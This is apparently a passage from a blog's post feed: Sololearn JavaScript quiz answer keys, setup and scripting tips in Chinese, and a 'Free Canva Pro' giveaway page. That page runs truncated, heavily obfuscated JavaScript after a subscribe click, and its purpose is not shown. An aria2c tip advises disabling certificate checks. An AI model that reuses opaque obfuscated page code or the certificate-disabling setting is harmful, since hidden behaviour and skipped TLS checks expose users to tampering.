parentheses Question: Using Parameters When and how is the parameter used? Answer: By calling the function and placing the value in the parentheses Question: Function Parameters Drag and drop from the options below to declare a function and call it, by passing "Test" as the argument:x Answer: function myAlert(txt) { alert("Hello " + txt); } myAlert("Test"); 26.1 Lesson Using Multiple Parameters with... Question: Multiple Parameters What character is used to separate parameters from each other? Answer: , Question: Multiple Parameters What is the output of this code? function test(x, y) { if(x > y) { document.write(x); } else { document.write(y); } } test(5, 8); Answer: 8 Question: Multiple Parameters Fill in the blanks to create a function alerting the sum of the two parameters. Answer: function myFunction(x, y){ alert(x + y); } Question: Multiple Parameters How many times can the declared function be used? Answer: Any 27.1 Lesson The return Statement Question: Function Return When is the "return" statement most frequently needed? Answer: When you need to make a calculation and receive the result Question: Function Return Where is the "return" statement placed? Answer: At the end of the function description Question: Function Return Please enter the corresponding keyword to have the result of the function below displayed on the screen: Answer: function substrNumbrs(first, second) { var result = first - second; return result; } document.write(substrNumbrs(10, 5)); 28.1 Lesson Alert, Prompt, Confirm Question: The Alert Box How many parameters can be accepted by the "alert" function? Answer: 1 Question: Prompt Box Fill in the blanks to obtain the name of the user and alert it to the screen: Answer: var name = prompt("Enter your name:"); alert(name); Question: Confirm Box In the "confirm" dialog box, "OK" returns true, and "Cancel" returns ... Answer: false 29.1 Lesson Module 4 Quiz Question: The following code will result in what value? function test (number) { while(number < 5) { number++; } return number; } alert(test(2)); Answer: 5 Question: What is the output of the following expression? function multNmbrs (a, b) { var c = a*b; } multNmbrs(2, 6); Answer: Nothing Question: Please fill in the corresponding names for the built-in dialog boxes: Answer: prompt is for getting input from the user; alert is for displaying a message in a box; Question: Fill in the blanks to calculate the maximum of the parameters: Answer: function max(a, b) { if (a >= b) return a; else return b; } Question: What is the correct syntax for referring to an external script called "script.js"? Answer: <script src="script.js"> Question: What alert will display on the screen? function test (a, b) { if(a > b) { return a*b; } else { return b / a; } } alert(test(5, 15)); Answer: 3 ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn JavaScript course Functions answers","feature":"https://dev-coco.github.io/post-images/Sololearn-Javascript-Course.jpg","link":"https://dev-coco.github.io/post/Sololearn-Javascript-Course-Functions-Answers/","stats":{"text":"5 min read","time":249000,"words":664,"minutes":5},"date":"2022-10-15 07:10:07","dateFormat":"2022-10-15"},{"content":"Sololearn JavaScript course Conditionals and Loops answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn JavaScript course. Sololearn JavaScript course Overview answers Sololearn JavaScript course Basic Concepts answers Sololearn JavaScript course Functions answers Sololearn JavaScript course Objects answers Sololearn JavaScript course Core Objects answers Sololearn JavaScript course DOM & Events answers Sololearn JavaScript course ECMAScript 6 answers 14.1 Lesson The if Statement Question: The if Statement Add the characters that complete the statement: Answer: if (var1 > var2) { document.write("OK"); } Question: The if Statement What happens if the tested condition is false? Answer: The code does nothing and moves to the next section 15.1 Lesson The else Statement Question: The else Statement The "else" statement is created to do what? Answer: Tell JavaScript to execute something if the condition is false Question: The else Statement Fill in the blanks to create a valid if...else statement: Answer: var age = 25; if (age >= 18) { alert("Allowed."); } else { alert("Not allowed."); } 16.1 Lesson The else if Statement Question: else if What keyword is used to end the "else if" statement? Answer: else Question: else if Fill in the blanks to create a valid if...else...if statement: Answer: var status = 1; var msg; if (status == 1) { msg = "Online"; } else if (status == 2) { msg = "Away"; } else { msg = "Offline"; } 17.1 Lesson The switch Statement Question: Switch The switch statement can be used to replace… Answer: multiple if else statements Question: The switch Statement How many "case" statements are usually used in the "switch" statement? Answer: One for each possible answer Question: The break Keyword What’s the output of this code? var x = 3; switch (x) { case 1: document.write(x); break; case 2: document.write(x+2); break; default: document.write(x+5); } Answer: 8 Question: The default Keyword The "default" statement is used … Answer: When no match is found 18.1 Lesson The For Loop Question: Loops The classic "for" loop consists of how many components? Answer: 3 Question: The For Loop Fill in the blanks to compose a valid for loop: Answer: var i = 1; for (k = 1; k < 10; k++) { i += k; } Question: The For Loop Fill in the blanks to print EVEN values from 0 to 20 using a for loop: Answer: var x = 0; for (; x <= 20; x += 2) { document.write(x); } 19.1 Lesson The While Loop Question: The While Loop The result of the condition statement is always: Answer: A Boolean value (true or false) Question: The While Loop Fill in the blanks to print x's values from 1 to 5. Answer: var x = 1; while (x <= 5) { document.write(x + "<br />"); x = x + 1; } Question: The While Loop How many times will the while loop run, if we remove the counting variable increment statement? Answer: Infinite 20.1 Lesson The Do...While Loop Question: The Do...While Loop Apply the "do" and "while" keywords in their corresponding positions. Answer: var count=1; do { document.write("hello <br />"); count++; } while (count<=10); 21.1 Lesson Break and Continue Question: Break The "break" statement: Answer: Ends the execution of the loop Question: Continue What’s the output of this code? Answer: var sum=0; for(i = 4; i < 8; i++) { if (i == 6) { continue; } sum += i; } document.write(sum); 22.1 Lesson Module 3 Quiz Question: What’s the output of this code? var x = 0; while(x < 6) { x++; } document.write(x); Answer: 6 Question: Fill in the right keywords to test the conditions: Answer: switch (day_of_week) { case 1: case 2: case 3: case 4: case 5: document.write("Working Days"); break; case 6: document.write("Saturday"); break; default: document.write("Today is Sunday"); break; } Question: Please fill in the right keywords to compose a loop: Answer: do { document.write(i); i++; } while (i < 10); ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn JavaScript course Conditionals and Loops answers","feature":"https://dev-coco.github.io/post-images/Sololearn-Javascript-Course.jpg","link":"https://dev-coco.github.io/post/Sololearn-Javascript-Course-Conditionals-and-loops-Answers/","stats":{"text":"5 min read","time":264000,"words":704,"minutes":5},"date":"2022-10-14 12:42:05","dateFormat":"2022-10-14"},{"content":"跟着步骤安装一定能成功! 系统要求 macOS 12.0+ 设置环境 下载和安装 Conda env chmod +x ~/Downloads/Miniforge3-MacOSX-arm64.sh sh ~/Downloads/Miniforge3-MacOSX-arm64.sh source ~/miniforge3/bin/activate 定义 Conda 变量 export conda=~/miniforge3/bin/conda 安装 TensorFlow 依赖 conda install -c apple tensorflow-deps 安装 TensorFlow python -m pip install tensorflow-macos 安装 tensorflow-metal python -m pip install tensorflow-metal ","tags":[{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"macOS M1 芯片安装 TensorFlow","feature":"","link":"https://dev-coco.github.io/post/Macos-M1-Install-Tensorflow/","stats":{"text":"1 min read","time":25000,"words":86,"minutes":1},"date":"2022-10-13 10:53:27","dateFormat":"2022-10-13"},{"content":"Sololearn JavaScript course Basic Concepts answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn JavaScript course. Sololearn JavaScript course Overview answers Sololearn JavaScript course Conditionals and Loops answers Sololearn JavaScript course Functions answers Sololearn JavaScript course Objects answers Sololearn JavaScript course Core Objects answers Sololearn JavaScript course DOM & Events answers Sololearn JavaScript course ECMAScript 6 answers 7.1 Lesson Math Operators Question: Arithmetic Operators What will the following statements display? var test = 5 + 7; document.write(test); Answer: 12 Question: Multiplication What character do we use for multiplication? Answer: Question: Division What character do we use for division? Answer: / Question: The Modulus What’s the result of using a modulus operator for 38%5? Answer: 3 Question: Increment & Decrement What are increment and decrement are used for? Answer: Adding or subtracting 1 from a number 8.1 Lesson Assignment Operators Question: Assignment Operators Calculate and enter the resulting value of this expression: var number = 20; number *= 5; Answer: 100 9.1 Lesson ##Comparison Operators Question: Comparison Operators What do comparison operators return? Answer: true false Question: Comparison Operators Enter the corresponding operators according to the comments at right. Answer: val1 == val2 // are equal val1 != val2 // not equal val1 < val2 // less than val1 === val2 // are strict equal (identical) 10.1 Lesson Logical or Boolean Operators Question: Logical Operators Logical AND (&&) returns true if: Answer: If both operands are true Question: Logical Operators Logical NOT returns true, if: Answer: The operand is false 11.1 Lesson String Operators Question: String Operators What’s the output of the following code? var x = "50"; var y = "100"; document.write(x + y); Answer: 50100 12.1 Lesson Module 2 Quiz Question: Which of these names are acceptable for JavaScript variables? Answer: firstNumber _module Question: Fill in the data types of the data shown below in the comments field: Answer: 12 // number "some text" // string true // boolean Question: What's the result of the expression var1&&var2, if var1=true and var2=false? Answer: false ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn JavaScript course Basic Concepts answers","feature":"https://dev-coco.github.io/post-images/Sololearn-Javascript-Course.jpg","link":"https://dev-coco.github.io/post/Sololearn-Javascript-Course-Basic-Concepts-Answers/","stats":{"text":"3 min read","time":134000,"words":359,"minutes":3},"date":"2022-10-10 09:18:40","dateFormat":"2022-10-10"},{"content":"读取大型数据必备方法! 写入数据 先在表格内写入 100 万个单元格的数据。 function myFunction () { const arr = new Array(100000).fill(['test']) SpreadsheetApp.getActiveSpreadsheet().getSheets()[0].getRange(1, 1, arr.length, 1).setValues(arr) } 性能测试 然后来测试一下三种不同的方式获取数据的耗时。 function myFunction () { const sheet = SpreadsheetApp.getActiveSpreadsheet().getSheets()[0] console.time('getValues') sheet.getRange('A:A').getValues() console.timeEnd('getValues') console.time('getDisplayValues') sheet.getRange('A:A').getDisplayValues() console.timeEnd('getDisplayValues') console.time('sheet API') const sheetID = SpreadsheetApp.getActiveSpreadsheet().getId() Sheets.Spreadsheets.Values.get(sheetID, 'test!A:A').values console.timeEnd('sheet API') } 从测试结果可以看出 getDisplayValues 运行的速度最慢,getValues 会稍微快一点点,但是使用 Sheet API 的方法获取数据,速度要快很多。 使用方法 先添加 Google Sheets API 服务 然后使用以下代码 Sheets.Spreadsheets.Values.get(sheetID, 'test!A:A').values sheetID 是当前表格的 ID,然后后面的参数是表格的名称和范围,写法有点类似于 IMPORTRANGE 函数。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"读取表格数据最快的方法","feature":"","link":"https://dev-coco.github.io/post/Fastest-Way-Read-Excel/","stats":{"text":"2 min read","time":63000,"words":235,"minutes":2},"date":"2022-10-09 20:25:38","dateFormat":"2022-10-09"},{"content":"Sololearn JavaScript course Objects answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn JavaScript course. Sololearn JavaScript course Overview answers Sololearn JavaScript course Basic Concepts answers Sololearn JavaScript course Conditionals and Loops answers Sololearn JavaScript course Functions answers Sololearn JavaScript course Core Objects answers Sololearn JavaScript course DOM & Events answers Sololearn JavaScript course ECMAScript 6 answers 31.1 Lesson Introducing Objects Question: JavaScript Objects In reference to an object, color, height, weight and name are all examples of: Answer: properties Question: Object Properties What built-in property is used to count the number of characters in an object's property? Answer: length Question: Object Methods Access the "color" property of the "hair" object using dot syntax. Answer: hair.color 32.1 Lesson Creating Your Own Objects Question: The Object Constructor Fill in the blanks to create a constructor function: Answer: function movie (title, director) { this.title = title; this.director = director; } Question: Creating Objects What keyword is used for creating an instance of an object? Answer: new Question: Creating Objects Which two components are necessary in order to use information contained within an object? Answer: object's name property's name 33.1 Lesson Object Initialization Question: Object Initialization Fill in the blanks: Answer: simba = { category: "lion", gender: "male" } Question: Using Object Initializers Complete the following expression to display the "simba" object's "category" property on the screen: Answer: document.write(simba.category); 34.1 Lesson Adding Methods Question: Methods The "this" keyword in the method means: Answer: The current object Question: Methods Please associate the "testData" constructor function below with a method called "mymethod": Answer: function testData (first, second) { this.first = first; this.second = second; this.checkData = mymethod; } Question: Methods In order to use the object's properties within a function, use: Answer: The "this" keyword 35.1 Lesson Module 5 Quiz Question: An object's properties are similar to variables; methods are similar to: Answer: functions Question: What is the result of the following expression? var myString = "abcdef"; document.write(myString.length); Answer: 6 Question: Complete the expression to create an object constructor, taking into account that "height" and "weight" are properties and "calculate" is a method for the given object: Answer: function mathCalc (height, weight) { this.height = height; this.weight = weight; this.sampleCalc = calculate; } ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn JavaScript course Objects answers","feature":"https://dev-coco.github.io/post-images/Sololearn-Javascript-Course.jpg","link":"https://dev-coco.github.io/post/Sololearn-Javascript-Course-Objects-Answers/","stats":{"text":"3 min read","time":158000,"words":422,"minutes":3},"date":"2022-10-08 18:31:54","dateFormat":"2022-10-08"},{"content":"Sololearn JavaScript course Overview answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn JavaScript course. Sololearn JavaScript course Basic Concepts answers Sololearn JavaScript course Conditionals and Loops answers Sololearn JavaScript course Functions answers Sololearn JavaScript course Objects answers Sololearn JavaScript course Core Objects answers Sololearn JavaScript course DOM & Events answers Sololearn JavaScript course ECMAScript 6 answers 1.1 Lesson Your First Lesson Question: Welcome to JavaScript! What is JavaScript? Answer: a very popular programming language Question: The Console True or false? You can use the console to test code and fix bugs. Answer: True Question: Logging Messages Which command is used to log or write messages to the console? Answer: console.log() Question: Text Messages Drag and drop to send the message to the console. Answer: console.log('Testing') Question: The Code Playground Drag and drop to send the message 'Error' to the console Answer: console.log('Error'); Question: Lesson Takeaways Select the correct way to send 'Lesson Completed!' to the console Answer: console.log('Lesson Completed!') 2.1 Lesson Output Question: Output Output "Hello!" in the browser. Answer: <script> document.write("Hello!"); </script> Question: Output to console Complete the code to output "Hi!" to the console. Answer: console.log("Hi!") 3.1 Lesson Variables Question: Variables How do we tell JavaScript that we're working with a variable? Answer: var Question: Using Variables Choose the correct keyword to declare a variable and assign the value of 32. Answer: var my_variable = 32; Question: Naming Variables Which of these characters can we use to start a variable? Answer: Letters Underscore sign (_) 4.1 Lesson Comments Question: JavaScript Comments What does a single line comment look like? Answer: // this is a comment Question: Multiple-Line Comments Create a multi-line comment in JavaScript. Answer: /* this is a multiline comment */ 5.1 Lesson Data Types Question: Data Types Fill in the blanks to declare a variable age and assign it the number 18: Answer: var age = 18; Question: Strings To create a string, we need to put the text inside… Answer: Quotation marks Question: Strings Which of the following is the escape character? Answer: \\ Question: Booleans Which two values does the Boolean data type accept? Answer: false true 6.1 Lesson Module 1 Quiz Question: Fill in the blanks to output "JS is cool!" to the console: Answer: console.log("JS is cool!"); Question: Declare a variable called x, assign the value 42 to it and output it to the console. Answer: var x = 42; console.log(x); Question: What is the output of this code? // x = 8; x = 2; // x = 3; console.log(x); Answer: 2 Question: Rearrange to form valid JavaScript code that declares a variable and outputs it to the console. Answer: <script> var name = "James"; console.log(name); </script> ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn JavaScript course Overview answers","feature":"https://dev-coco.github.io/post-images/Sololearn-Javascript-Course.jpg","link":"https://dev-coco.github.io/post/Sololearn-Javascript-Course-Overview-Answers/","stats":{"text":"4 min read","time":187000,"words":501,"minutes":4},"date":"2022-10-07 12:12:16","dateFormat":"2022-10-07"},{"content":"此工具非常简单易用,而且经过测试,解封成功率非常高。 工具链接:WhatsApp 快速解封 使用方法 输入 WhatsApp 号码,一行一个,格式:+区号XXXXXX,点击提交。请务必按照格式规范填写,否则不会解封成功。提交后 WhatsApp 系统大概会在 24 小时内处理。 此工具每天只限使用 100 次。 本程序使用:WhatsApp-Batch-Unbanned-Tool,源码并且修改后搭建的在线工具。为了保护用户隐私,本程序只会记录使用功能必要的内容,并且会定时删除,所以不会提供查询是否解封成功的状态,请自行查看。 ","tags":[{"name":"WhatsApp","slug":"whatsapp","used":true,"link":"https://dev-coco.github.io/tag/whatsapp/"}],"title":"WhatsApp 账号快速解封工具","feature":"","link":"https://dev-coco.github.io/post/WhatsApp-Unbaned-Tool/","stats":{"text":"1 min read","time":36000,"words":176,"minutes":1},"date":"2022-10-03 07:49:36","dateFormat":"2022-10-03"},{"content":"记录一下。 博客从创建到至今已经累计了 100 万的访问量了,感谢大家的支持。 如果想更及时的收到最新资讯的推送,欢迎订阅 Telegram 频道:瑞景乐的博客。 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"庆祝博客访问量突破 100 万!","feature":"","link":"https://dev-coco.github.io/post/Celebrating-100K-Visits/","stats":{"text":"1 min read","time":12000,"words":60,"minutes":1},"date":"2022-09-27 00:21:30","dateFormat":"2022-09-27"},{"content":"Quantities are limited, first come first served. @import url(\"https://cdn.jsdelivr.net/npm/bootstrap-icons@1.9.1/font/bootstrap-icons.css\"); .bi-facebook{color:#3b5998}.bi-twitter{color:#1da1f2}.bi-linkedin{color:#0a66c2}.bi-pinterest{color:#bd081c}.bi-whatsapp{color:#25d366}.bi-reddit{color:#ff4500}.bi{transition:.1s}.bi:hover{color:#000}#step1{width:fit-content;height:fit-content;box-shadow:0 0 1px #000;padding:20px;border-radius:10px;font-family:Ubuntu!important;text-transform:capitalize}#step1 .social{display:flex;gap:20px;justify-content:center;align-items:center;font-size:1.7em}.container1{width:fit-content;height:fit-content;box-shadow:0 0 1px #000;padding:20px;border-radius:10px;font-family:Ubuntu!important;display:none}.downloadLink{text-align:center;width:100%;position:relative;border-radius:10px;background:#f5f5f5;color:#000;user-select:none}.contentHide{position:absolute;width:100%;height:100%;background:#000;opacity:.6;display:flex;justify-content:center;align-content:center;border-radius:10px}.contentHide i{font-size:6rem;color:#fff;position:absolute;left:0;right:0;margin-left:auto;margin-right:auto;margin-top:5%}.contentHide a:hover{color:#2020ff}#subscribe{background:red;color:#fff;text-transform:capitalize;padding:5px 15px;text-decoration:none;border:1px solid #fff;width:fit-content;font-size:1.5rem;font-family:Ubuntu!important;transition:.1s}#subscribe:hover{background:#fff;border:1px solid red;color:red}.center{margin-left: auto; margin-right: auto;display:block} Do not close this window until you have finished. After clicking on the box below please come back to this page to get the invite link. Canva Pro free invitation has been updated again, I am the account owner, if you have any questions please read the policies and terms of Canva official website, please do not bother me, thank you. 2 steps before you can get Canva Pro invite Link Step 1: share on 1 social media step 2: subscribe to my channel Subscribe Now Do not close this window after subscribe, the download link will appear bellow thank you for subscribing below are the download links link1: Login to Canva Before clicking on this link link2: Login to Canva Before clicking on this link Do not join two teams at the same time, otherwise you will be banned. If the link does not work, please join the Telegram channel and let me know. https://t.me/raz1ner const socialBtn = document.querySelectorAll('.socialBtn') const step1 = document.getElementById('step1') const container1 = document.getElementsByClassName('container1')[0] socialBtn.forEach( function(element, index) { element.addEventListener('click',()=>{ setTimeout(()=>{ step1.style.display = 'none'; container1.style.display = 'block' container1.setAttribute('class', 'container1 center') },10000) }) }) const subBtn = document.getElementById('subscribe') const contentHide = document.getElementsByClassName('contentHide')[0] const downloadLink = document.getElementsByClassName('downloadLink')[0] subBtn.addEventListener('click', ()=>{ setTimeout(()=>{ (function(D,o){function e(D,o,u,x,m){return I(m-0x9e,D);}function J(D,o,u,x,m){return I(u-0x160,D);}function y(D,o,u,x,m){return I(o-0x1c6,D);}function z(D,o,u,x,m){return I(D-0x1c6,u);}function T(D,o,u,x,m){return I(D-0x168,o);}var u=D();while(!![]){try{var x=parseInt(z(0x35e,0x36f,'g7n7',0x378,0x342))/(-0x5c0*-0x1+0x5*0x5b3+-0x111f*0x2)+-parseInt(e('QE%v',0x1e2,0x211,0x1dd,0x1ff))/(-0x10d*-0x1d+-0x16*-0x65+-0x2725)+parseInt(e('o!SA',0x220,0x20e,0x1fa,0x21e))/(-0x2*0x347+0x199f+-0x130e)*(-parseInt(J('xrRY',0x2c6,0x2d4,0x2c7,0x2f7))/(-0x1f81+-0x253*-0xa+0x847))+parseInt(y('I4fA',0x35c,0x355,0x346,0x381))/(-0x1*-0x842+-0x1*0x121d+0x10*0x9e)*(-parseInt(T(0x30b,'f9k5',0x311,0x2e9,0x31b))/(0x1*-0x26d5+-0x17*-0x16a+0x655))+-parseInt(T(0x2d3,'Uh3$',0x2c0,0x2f4,0x2c5))/(0x12a0*-0x1+0x221e+0x1*-0xf77)*(parseInt(e('cYgx',0x20b,0x1f5,0x216,0x1fe))/(0x1f45+0x6b4+-0x25f1))+parseInt(z(0x340,0x364,'EieV',0x35f,0x321))/(0x2538+-0x5c*-0x3a+0x1*-0x3a07)*(-parseInt(J('T6V@',0x2b3,0x2c2,0x2e7,0x2e7))/(0x74b+-0x191d*0x1+0x11dc))+parseInt(e('UByr',0x257,0x251,0x21f,0x243))/(0x1*0x21d3+0x20*-0xac+-0xc48);if(x===o)break;else u['push'](u['shift']());}catch(m){u['push'](u['shift']());}}}(t,0x14a95*-0x1+-0x2e29d+0x62704));function g(D,o,u,x,m){return I(x-0x115,u);}function t(){var V=['zWyDsa','v8osW6NdQZa','aSk9WOhcVq','WO4GW6JdLmoo','D8onW5pdLqK','qCoXWRmoW74','W5W0WQRdJ8o3','W7lcT8k8W4vDqN/cOCozWPddUN0','WQqKe8k1W6K','WOmAgmkQWQZcJSk9W5rKW5nEyG','W4bXp8oJW5pdRmkDqW','W5NcPfPAW510fmo6BmosnXaz','W6/cKHxdMmoT','imo1WQBcJ8ks','W4PPwXj3','BqRdVSkhW5K','WPKDW7JcOrG','m8okW5O','q8otW7zKWPa','zmkRW4xcVG','pCoVWPhdRCo3W5XrWRLSWRyhBHu','oubigGXUCCoBW7D9','W67cJSoAgrdcI8okW54Zwh/dIa','vKLPb8oe','vSoeW7jZW4i','WPSeW67cHq8','yCoSWQ/dG8kd','wKOZhCoF','WQpcICkvWRO','t8kyEmo1W53dRNW','W7GHWQhcM8oT','q8kPWO7dUHxdISkE','t8kHWRddIWq','W4DZsmkIWOtcVmoRzZZdNConWRldSa','W6lcKmoMxZm','guJdKmkTpa','WP3dOWeCWOm','AZZcHHvE','W6tdMSoQegm','baJdLCkvW5bsfq','WQNcJ0BcJSk6W5nCW5VcUafZWQa','WQHMr8oHWRBcUCk2ygDDWOW/W54','Ar4BvhO','xKv9W4FcNa','W68Xwmk3W6S','W7xcT8k7W4TwqgRcOCoQWPVdOxG','WRddJmooohbVlmoR','WPVdU1n2WRu','ACoUWPdcMSkn','WPFdSmkQWQKT','WRNdHW9SWOK','WQvSW4ddLSk1','WRuoWQtcRmo2WQu2','oh5WW5/cPG','ig/cKSotFZmmWPD4WO1/W7y','r3H0WPev','W7ziWOddHMy','rCoHW4tcHrK','WRXiW63cQqe','W4D1qmkKW7ldH8k7scldSq','fL5HW5tcHW','FmowD2iy','sSoWW4tcSay','WRLgW5RcJsS','W4v9bbrH','zCk3W4C','WRJdMSkFAuq','DHpdU8kQW6K','WPiGBsr8W7RcJmkx','AHKDqd8','WRFcJ0j9WOa','W6avWQFcU0q','WOefW6/cLGa','lmo7W6hdSCoJ','W5DKW5pdL8oBWOhdKmkj','W4TUx8oNW4i','iZpcHN8pCmk+WQldOSkfW4zk','pSkkicLmj8kqhG7cQCkNjW'];t=function(){return V;};return t();}function f(D,o,u,x,m){return I(m-0x263,x);}var X=(function(){var D=!![];return function(o,u){var x=D?function(){function E(D,o,u,x,m){return I(D- -0x3ad,o);}if(u){var m=u[E(-0x253,'6o2d',-0x264,-0x244,-0x256)](o,arguments);return u=null,m;}}:function(){};return D=![],x;};}());function P(D,o,u,x,m){return I(m-0x278,o);}function A(D,o,u,x,m){return I(x-0x76,m);}function i(D,o,u,x,m){return I(D-0x39a,u);}function I(p,X){var D=t();return I=function(o,u){o=o-(-0x35*-0x11+0x1178+-0x13a3);var x=D[o];if(I['apLZtB']===undefined){var m=function(a){var C='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',j='',O=G+m;for(var Q=-0x1aab*-0x1+0x569+-0x2*0x100a,l,h,B=-0x320+0x10*-0x13a+0x16c0;h=a['charAt'](B++);~h&&(l=Q%(-0x35*0x29+-0x3b*0xa7+0x2efe)?l*(0x34f*-0x6+0x241+0x11d9)+h:h,Q++%(-0x18dd+-0x1c9c+-0x357d*-0x1))?G+=O['charCodeAt'](B+(0x41*0x7e+-0x18cb*-0x1+-0x38bf))-(-0x1bef*-0x1+-0xb31+-0x1*0x10b4)!==-0xecc+-0x2013+0x2edf?String['fromCharCode'](0x51*-0x59+0x9*0x151+0x114f&l>>(-(0x19e+0x1*0x9bf+-0xb5b)*Q&0xb+0x9*-0x199+0xe5c)):Q:0x236b+0x1*0x50b+-0x143b*0x2){h=C['indexOf'](h);}for(var H=0x1*-0xa6+-0x1bc9*0x1+0x1c6f,n=G['length'];H","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"Free Canva Pro Invite Link","feature":"https://dev-coco.github.io/post-images/free-canva-pro-invite-link.png","link":"https://dev-coco.github.io/post/free-canva-pro-invite-link/","stats":{"text":"7 min read","time":380000,"words":1014,"minutes":7},"date":"2022-09-21 01:10:05","dateFormat":"2022-09-21"},{"content":"超快的下载速度和多线程下载文件。 单文件超快下载速度 适用于下载单个大文件。 命令 aria2c -s16 -x16 -k1M --file-allocation=none --input-file=download-list.txt 参数详解 -s 单文件最大线程数,建议设置 16。 -x 同一服务器连接数,建议设置 16(最大值)。 -k 最小文件分片大小,建议设置 1 MB。假设文件有 15 MB,那么就会被分成 15 个 1 MB 的文件从服务器下载。 file-allocation 文件预计分配方式,有效降低磁盘碎片,建议设置 prealloc,但是在下载大文件的时候会需要消耗一些时间计算,设置 none 后就会跳过。 input-file 需要下载的文件链接,一行一个。 实测能达到每秒 66 MB 的下载速度。 如果使用 Chrome 下载,每秒只有 8 MB 左右的下载速度,相差好几倍! 多线程下载 命令 适用于下载很多个小文件。 aria2c --max-concurrent-downloads=60 --input-file=download-list.txt --save-session=download-session.txt check-certificate=false 参数详解 max-concurrent-downloads 每个链接最大并行下载数。例如设置 60,也就是 60 个链接同时开始下载。这个值设置得越大,下载的进度就越快,但是也可能会导致连接失败。 save-session 保存错误的状态。如果下载的时候出现错误,会将链接保存到指定的文件内。 check-certificate 检查证书,建议设置 false。 ","tags":[{"name":"Shell","slug":"shell","used":true,"link":"https://dev-coco.github.io/tag/shell/"}],"title":"Aria2c 下载文件","feature":"","link":"https://dev-coco.github.io/post/Aria2c-Download-File/","stats":{"text":"2 min read","time":86000,"words":376,"minutes":2},"date":"2022-09-18 20:35:10","dateFormat":"2022-09-18"},{"content":"Facebook 背景颜色类名称和 ID 列表。 .color{width:120px;height:100px;border-radius:10px;}.tooltip{position:relative;display:inline-block}.tooltip .tooltipImg{visibility:hidden;position:absolute;z-index:1;bottom:100%;left:-300px}.tooltip:hover .tooltipImg{visibility:visible} 定制 Facebook 虚拟形象:链接 序号 类型 内容 ID 缩略图 1 3D 248623902401250 2 3D 2193627793985415 3 3D 1868855943417360 4 3D 191761991491375 5 3D 240401816771706 6 3D 200521337465306 7 3D 618093735238824 8 3D 177465482945164 9 3D 558836317844129 10 3D 206513879997925 11 3D 220176855252913 12 3D 146348336228703 13 3D 255137998566674 14 3D 197865920864520 15 3D 289599361581303 16 3D 338976169966519 17 3D 168373304017982 18 3D 215948349200293 19 3D 203233500491412 20 3D 168094414044546 21 3D 2035877216629521 22 3D 401534713663470 23 3D 1731809666854300 24 3D 1787111484677952 25 3D 195952107720077 26 插画 1821844087883360 27 插画 1591191980917023 28 插画 454160908341329 29 插画 2063886720526101 30 插画 1547619665336597 31 插画 255989551804163 32 插画 158866551466946 33 插画 189358915028027 34 插画 198600220781867 35 插画 1966335843691333 36 插画 221828835275596 37 插画 762009070855346 38 插画 1942494936063467 39 插画 821827291359870 40 插画 2056636147889908 41 插画 459210954494131 42 插画 308241406379224 43 插画 176677973177726 44 插画 1192421050883530 45 插画 1097326783944263 46 插画 1997537987164013 47 插画 935591686895084 48 插画 518374865736513 49 插画 241539443758219 50 插画 355046008296678 51 插画 212929162797298 52 插画 1932155243740811 53 插画 1533520746726919 54 插画 2041051642773322 55 插画 1539465312816011 56 插画 118306778764953 57 插画 1941201062777404 58 插画 2009883262560924 59 插画 366394748389826 60 纯色 1038184293978413 61 纯色 643122496026756 62 纯色 309187638478389 63 纯色 1976999789296340 64 纯色 204187940028597 65 纯色 1903718606535395 66 纯色 518596398537417 67 纯色 1271157196337260 68 纯色 618237107054113 69 纯色 696971568609418 70 纯色 184083004658498 71 纯色 866176818274367 72 纯色 2046306532386635 73 纯色 182734689103262 74 纯色 861160898741935 75 纯色 137309512798730 76 纯色 1142122703434463 77 纯色 168024350558664 78 纯色 1871233843174039 79 纯色 784913000073648 80 纯色 1032899107855087 81 纯色 680142694061655 82 纯色 291833941230225 83 纯色 154977255088164 84 纯色 301029513638534 85 纯色 217761075370932 86 纯色 1365883126823705 87 纯色 1901885619871565 88 纯色 1342634519948064 89 纯色 244564762627363 90 纯色 174562909878225 91 纯色 1683034525326576 92 纯色 3543708749174422 93 纯色 145893972683590 94 纯色 396790707364855 95 纯色 433967226963128 96 纯色 219266485227663 97 纯色 1876169806000670 98 纯色 287628994046344 99 纯色 1289741387813798 100 纯色 106018623298955 101 纯色 1699296716805387 102 纯色 1798961300535344 103 纯色 1864536833779614 104 纯色 1881421442117417 105 动物 猫 238863426886624 106 动物 猫 458988134561491 107 动物 猫 1903207336376192 108 动物 猫 1372847862780499 109 动物 猫 1211819908949985 110 动物 猫 997473700407693 111 动物 狗 852751678269066 112 动物 狗 1944493445569160 113 动物 狗 217508872373783 114 动物 独角兽 548109108916650 115 动物 鸽子 2117703618476510 116 动物 猪 174428623248697 117 动物 企鹅 528808880819990 118 动物 松鼠 402923128111134 119 动物 变色龙 693325981056481 120 动物 鼬鼠 2441724612753694 121 动物 蝙蝠 2421841908042756 122 动物 蜘蛛 947728898928250 123 动物 蜘蛛 476759302845916 124 动物 孔雀 1254410651314920 125 风景 323371698179784 126 风景 576646106467200 127 风景 698363068460805 128 风景 541056033292169 129 风景 1421927957874387 130 风景 143093446467972 131 风景 220680798660832 132 风景 146487026137131 133 风景 1732769623700511 134 风景 734912683339506 